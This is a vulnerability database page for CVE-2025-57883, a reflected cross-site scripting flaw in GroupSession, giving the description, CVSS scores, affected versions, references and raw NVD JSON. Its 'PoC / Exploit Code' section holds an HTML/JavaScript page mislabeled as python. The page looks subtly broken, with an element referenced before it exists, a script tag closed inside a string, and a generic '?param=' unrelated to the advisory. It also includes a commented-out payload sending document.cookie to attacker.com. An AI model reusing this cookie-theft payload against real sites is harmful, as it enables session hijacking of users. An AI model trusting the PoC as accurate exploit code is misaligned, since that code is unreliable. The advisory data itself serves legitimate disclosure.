CVE-2025-57883

Description

Reflected cross-site scripting vulnerability exists in GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2. If a user accesses a crafted page or URL, an arbitrary script may be executed on the web browser of the user.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:* - VULNERABLE

cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:* - VULNERABLE

cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:* - VULNERABLE

GroupSession Free < 5.3.0

GroupSession byCloud < 5.3.3

GroupSession ZION < 5.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-57883 Reflected XSS PoC for GroupSession -->
<!-- This PoC demonstrates the reflected XSS vulnerability in GroupSession -->
<!-- Replace TARGET_URL with the vulnerable GroupSession instance -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-57883 PoC</title>
</head>
<body>
    <h2>CVE-2025-57883 Reflected XSS PoC</h2>
    <p>Target: GroupSession Free < 5.3.0, byCloud < 5.3.3, ZION < 5.3.2</p>
    
    <script>
        // Generate malicious URL with XSS payload
        const targetBase = 'http://TARGET_URL/gsession/'; // Replace with actual target
        const payload = '<script>alert("XSS Vulnerability - CVE-2025-57883");document.cookie</script>';
        const maliciousUrl = targetBase + '?param=' + encodeURIComponent(payload);
        
        // Display the exploit URL
        document.getElementById('exploitUrl').innerHTML = '<a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a>';
        
        // Log cookies to demonstrate impact
        console.log('Session Cookies:', document.cookie);
    </script>
    
    <p>Exploit URL:</p>
    <div id="exploitUrl"></div>
    
    <!-- Alternative PoC using img onerror -->
    <!-- <img src=x onerror="fetch('https://attacker.com/steal?c='+btoa(document.cookie))"> -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-57883
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-57883
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-57883/
[4] VulDB https://vuldb.com/cve/CVE-2025-57883
[5] https://groupsession.jp/info/info-news/security20251208
[6] https://jvn.jp/en/jp/JVN19940619/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-57883", "sourceIdentifier": "[email protected]", "published": "2025-12-12T05:16:07.180", "lastModified": "2026-01-23T02:29:27.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reflected cross-site scripting vulnerability exists in GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2. If a user accesses a crafted page or URL, an arbitrary script may be executed on the web browser of the user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:*", "versionEndExcluding": "5.3.0", "matchCriteriaId": "32599C61-0938-49C5-8416-44C3DF7B144A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:*", "versionEndExcluding": "5.3.2", "matchCriteriaId": "46F7CACE-2448-4A90-9192-B6270B33E393"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:*", "versionEndExcluding": "5.3.3", "matchCriteriaId": "DD4CD8BC-39CB-44FF-A4D8-22C1B38ED223"}]}]}], "references": [{"url": "https://groupsession.jp/info/info-news/security20251208", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://jvn.jp/en/jp/JVN19940619/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}